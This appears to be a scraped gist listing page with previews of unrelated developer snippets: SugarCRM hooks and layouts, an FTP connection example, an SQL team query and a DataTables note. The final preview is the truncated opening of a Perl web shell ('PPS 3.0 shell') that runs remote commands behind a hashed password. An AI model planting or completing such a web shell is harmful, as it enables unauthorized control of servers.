Please see: https://github.com/kevinSuttle/html-meta-tags, thanks for the idea @dandv!
Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/
| <?php | |
| /** | |
| * @author Emil Kilhage <[email protected]> | |
| */ | |
| $app_list_strings['iso_3166_1_country_code_list'] = array ( | |
| "SE" => "Sweden", | |
| "FI" => "Finland", | |
| "NO" => "Norway", | |
| "DK" => "Denmark", |
| <?php | |
| class Accounts_logic_hook_class | |
| { | |
| function Accounts_logic_hook_method(&$bean, $event, $arguments) | |
| { | |
| echo "Hit the Accounts before save logic hook"; | |
| exit; | |
| } | |
| } |
| <?php | |
| error_reporting(E_ALL); | |
| define('NUM_FEATURES', 3); | |
| // My dataset describes cities around the world where I might consider living. | |
| // Each sample (city) consists of 3 features: | |
| // * Feature 1: average low winter temperature in the city | |
| // * Feature 2: city population, in millions |
| <?php | |
| # Linear connection info for connecting to FTP | |
| # set up basic connection | |
| $ftp_server = "ftp.yourserver.com"; | |
| $ftp_user = "Username"; | |
| $ftp_pass = "Password"; | |
| $ftp_conn = ftp_connect($ftp_server); | |
| $ftp_login = ftp_login($ftp_conn, $ftp_user, $ftp_pass); |
( changing the content and the column structure).
Unfortunately I couldn't find a way to do it in one go.
There is the table.fnDestroy(true); but this removes the <table> element from the page as well.
We could use this but then we need to wrap the table element in a div in order to have a place where to
recreate the table.
| window.parent.SUGAR.App.sync({callback: function(){ | |
| window.parent.SUGAR.App.router.navigate('#your_module/layout/license', {trigger:true, replace:true}); | |
| }}); |
| ({ | |
| /* Author: Angel Magaña -- [email protected] | |
| * File: ./custom/clients/base/layouts/subpanels/subpanels.js | |
| * | |
| * Extended subpanels layout controller for hiding | |
| * subpanels without data upon parent record load (Sugar 7.2+) | |
| * | |
| * This customization applies to all modules | |
| */ |
| -- Reference: Query to fetch information for a specific Account's teams | |
| -- (ignores team_id, focus on team_set_id) | |
| select accounts.id, accounts.name, accounts.team_id, accounts.team_set_id, | |
| teams.id, teams.name, teams.description | |
| from accounts | |
| join team_sets on accounts.team_set_id = team_sets.id and team_sets.deleted=0 | |
| join team_sets_teams on team_sets_teams.team_set_id = team_sets.id and team_sets_teams.deleted=0 | |
| join teams on teams.id = team_sets_teams.team_id and teams.deleted=0 | |
| where accounts.id = 'SOMEACCOUNTID' and accounts.deleted=0; |
| #!/usr/bin/perl | |
| #PPS 3.0 shell by Pashkela [RDOT.ORG] © 2012 | |
| $Password="bb09c55983ff49f3a9cdfd83f08e5689";# root | |
| $CommandTimeoutDuration=30;# max time of command execution | |
| $tab='<table>';$tbb="<table width=100%";$verd="<font face=Verdana size=1>";$tabe='</table>';$div='<div class=content><pre class=ml1>';$dive='</pre></div>';use Digest::MD5 qw(md5_hex | |
| );$WinNT=0;$NTCmdSep="&";$UnixCmdSep=";";$ShowDynamicOutput=1;$CmdSep=($WinNT?$NTCmdSep:$UnixCmdSep);$CmdPwd=($WinNT?"cd":"pwd");$PathSep=($WinNT?"\\":"/");$Redirector=($WinNT?" 2>& | |
| 1 1>&2":" 1>&1 2>&1");$LogFlag=false;use File::Basename;use MIME::Base64;my @last:shared;sub cod($){my $url=~s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$url=encode_base64($_[0]);return | |
| $url;}sub dec($){ my $url1=decode_base64($_[0]);return $url1;}sub ReadParse {local (*in)=@_ if @_;local($i,$loc,$key,$val);$MultipartFormData=$ENV{'CONTENT_TYPE'}=~/multipart\/form | |
| -data; boundary=(.+)$/;if($ENV{'REQUEST_METHOD'} eq "GET"){$in=$ENV{'QUERY_STRING'};}elsif($ENV{'REQUEST_METHOD'} eq "POST") |